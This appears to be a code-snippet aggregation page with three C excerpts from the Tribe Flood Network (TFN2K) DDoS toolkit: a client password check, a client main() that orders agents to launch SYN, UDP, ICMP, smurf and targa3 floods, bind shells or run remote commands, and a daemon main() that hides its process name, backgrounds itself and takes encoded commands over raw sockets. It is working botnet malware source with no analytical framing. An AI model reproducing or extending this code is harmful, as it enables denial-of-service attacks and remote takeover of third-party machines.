Пример #1
0
void passchk (void) {
    char test1[100] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", test2[100] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
         enc1[100], enc2[100], *p = getpass ("\nPassword verification:");

    memset (enc1, 0, 100);
    memset (enc2, 0, 100);

    security_through_obscurity (1);
    encode64 (test1, enc1, strlen (test1));
    security_through_obscurity (0);
    aes_setkey (p);
    encode64 (test2, enc2, strlen (test2));

    if (strcmp (enc1, enc2)) {
        fprintf (stderr, "Sorry, passwords do not match.\n");
        fprintf (stderr, "1 %s\n2 %s\n", enc1, enc2);
        exit (0);
    }
}
Пример #2
0
int main (int argc, char **argv) {
    FILE *tfnlist = NULL;
    char nexthost[BS];
    unsigned long tfnhost = 0;
    int opt;

    if (argc < 2)
        usage (argv[0]);

    while ((opt = getopt (argc, argv, "P:D:S:f:h:i:p:c:")) != EOF)
        switch (opt) {
            case 'P':
                if (strcasecmp (optarg, "icmp") == 0)
                    proto = 0;
                if (strcasecmp (optarg, "udp") == 0)
                    proto = 1;
                if (strcasecmp (optarg, "tcp") == 0)
                    proto = 2;
                break;
            case 'D':
                decoy = atoi (optarg);
                break;
            case 'S':
                myip = resolve (optarg);
                break;
            case 'f':
                if ((tfnlist = fopen (optarg, "r")) == NULL) {
                    printf ("Unable to open file: %s\n", optarg);
                    usage (argv[0]);
                }
                break;
            case 'h':
                tfnhost = resolve (optarg);
                break;
            case 'i':
                target = malloc (BS);
                strncpy (target, optarg, BS);
                break;
            case 'p':
                port = malloc (BS);
                strncpy (port, optarg, BS);
                break;
            case 'c':
                cid = atoi (optarg);
                break;
            default:
                usage (argv[0]);
                break;
        }

    printf ("\n");

    printf ("\tProtocol      : ");
    switch (proto) {
        case 0:
            printf ("icmp\n");
            break;
        case 1:
            printf ("udp\n");
            break;
        case 2:
            printf ("tcp\n");
            break;
        default:
            printf ("random\n");
            break;
    }

    if (decoy)
        printf ("\tDecoy hosts   : %d\n", decoy);

    if (myip)
        printf ("\tSource IP     : %s\n", ntoa (myip));
    else
        printf ("\tSource IP     : random\n");

    if (tfnlist != NULL)
        printf ("\tClient input  : list\n");
    else if (tfnhost != 0)
        printf ("\tClient input  : single host\n");
    else
        usage (argv[0]);

    if (port != NULL)
        printf ("\tTCP port      : %d\n", atoi (port));
    else if (cid == 5) {
        port = malloc (BS);
        strcpy (port, "0");
    }

    if (target != NULL) {
        if ((cid > 4) && (cid != 10))
            printf ("\tTarget(s)     : %s\n", target);
    }
    else if (cid)
        usage (argv[0]);

    printf ("\tCommand       : ");
    switch (cid) {
        case 0:
            RID = ID_STOPIT;
            printf ("stop flooding\n");
            if (target == NULL) {
                target = malloc (BS);
                strcpy (target, "0");
            }
            break;
        case 1:
            RID = ID_SWITCH;
            printf ("change spoof level to %d\n", atoi (target));
            break;
        case 2:
            RID = ID_PSIZE;
            printf ("change packet size to %d bytes\n", atoi (target));
            break;
        case 3:
            RID = ID_SHELL;
            printf ("bind shell(s) to port %d\n", atoi (target));
            break;
        case 4:
            RID = ID_SENDUDP;
            printf ("commence udp flood\n");
            break;
        case 5:
            RID = ID_SENDSYN;
            printf ("commence syn flood, port: %s\n",
                    atoi (port) ? port : "random");
            break;
        case 6:
            RID = ID_ICMP;
            printf ("commence icmp echo flood\n");
            break;
        case 7:
            RID = ID_SMURF;
            printf ("commence icmp broadcast (smurf) flood\n");
            break;
        case 8:
            RID = ID_MIX;
            printf ("commence mix flood\n");
            break;
        case 9:
            RID = ID_TARGA;
            printf ("commence targa3 attack\n");
            break;
        case 10:
            RID = ID_REXEC;
            printf ("execute remote command\n");
            break;
        default:
            printf ("error\n");
            usage (argv[0]);
            break;
    }

#ifndef REQUIRE_PASS
    passchk ();
#endif

    printf ("\nSending out packets: ");
    fflush (stdout);

    security_through_obscurity (1);

    if (tfnlist == NULL) {
        printf ( "tnflist null ....\n" );
        tfn_sendto (tfnhost);
    } else {
        printf ( "tnflist not null ....\n" );
        while (fgets (nexthost, 512, tfnlist) != NULL) {
            switch (nexthost[0]) {
                case '\n':
                case '\r':
                case ' ':
                case '#':
                    continue;
                    break;
            }
            trimbuf (nexthost);
            tfnhost = resolve (nexthost);
            if (tfnhost)
                tfn_sendto (tfnhost);
        }
    }

    printf ("\n");
    return 0;
}
Пример #3
0
int
main (int argc, char **argv)
{
  char buf[BS], clear[BS];
  struct ip *iph = (struct ip *) buf;
  struct tribe *tribeh = (struct tribe *) clear;
  int isock, tsock, usock, i;
  char *p = NULL, *data = (clear + sizeof (struct tribe));
  fd_set rfds;

  isock = socket (AF_INET, SOCK_RAW, ICMP);
  tsock = socket (AF_INET, SOCK_RAW, TCP);
  usock = socket (AF_INET, SOCK_RAW, UDP);

  if (geteuid ())
    exit (-1);

  memset (argv[0], 0, strlen (argv[0]));
  strcpy (argv[0], HIDEME);
  close (0);
  close (1);
  close (2);
#ifndef WINDOZE
  if (fork ())
    exit (0);
#else
  switch (fork ())
    {
    case -1:
      perror ("fork");
      exit (0);
      break;
    case 0:
      break;
    default:
      break;
    }
#endif

  signal (SIGHUP, SIG_IGN);
  signal (SIGTERM, SIG_IGN);
  signal (SIGCHLD, SIG_IGN);

  while (1)
    {
      FD_ZERO (&rfds);
      FD_SET (isock, &rfds);
      FD_SET (usock, &rfds);
      FD_SET (tsock, &rfds);
      if (select (usock + 1, &rfds, NULL, NULL, NULL) < 1)
	continue;
      if (FD_ISSET (isock, &rfds))
	{
	  i = read (isock, buf, BS) - (sizeof (struct ip) + sizeof (struct icmp));
	  myip = htonl (iph->dst);
	  if (i < 4)
	    continue;
	  p = (buf + sizeof (struct ip) + sizeof (struct icmp));
	  if (!isprint (p[0]))
	    continue;
	  memset (clear, 0, BS);
	  security_through_obscurity (1);
	  decode64 (p, clear, i);
	  memset (buf, 0, BS);
	  security_through_obscurity (0);
	  if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))
	    tribe_cmd (tribeh->id, data, argv);
	}
      if (FD_ISSET (tsock, &rfds))
	{
	  i = read (tsock, buf, BS) - (sizeof (struct ip) + sizeof (struct tcp));
	  myip = htonl (iph->dst);
	  if (i < 4)
	    continue;
	  p = (buf + sizeof (struct ip) + sizeof (struct tcp));
	  if (!isprint (p[0]))
	    continue;
	  memset (clear, 0, BS);
	  security_through_obscurity (1);
	  decode64 (p, clear, i);
	  memset (buf, 0, BS);
	  security_through_obscurity (0);
	  if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))
	    tribe_cmd (tribeh->id, data, argv);
	}
      if (FD_ISSET (usock, &rfds))
	{
	  i = read (usock, buf, BS) - (sizeof (struct ip) + sizeof (struct udp));
	  myip = htonl (iph->dst);
	  if (i < 4)
	    continue;
	  p = (buf + sizeof (struct ip) + sizeof (struct udp));
	  if (!isprint (p[0]))
	    continue;
	  memset (clear, 0, BS);
	  security_through_obscurity (1);
	  decode64 (p, clear, i);
	  memset (buf, 0, BS);
	  security_through_obscurity (0);
	  if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))
	    tribe_cmd (tribeh->id, data, argv);
	}
    }
/* 1 != 1 */
  return (0);
}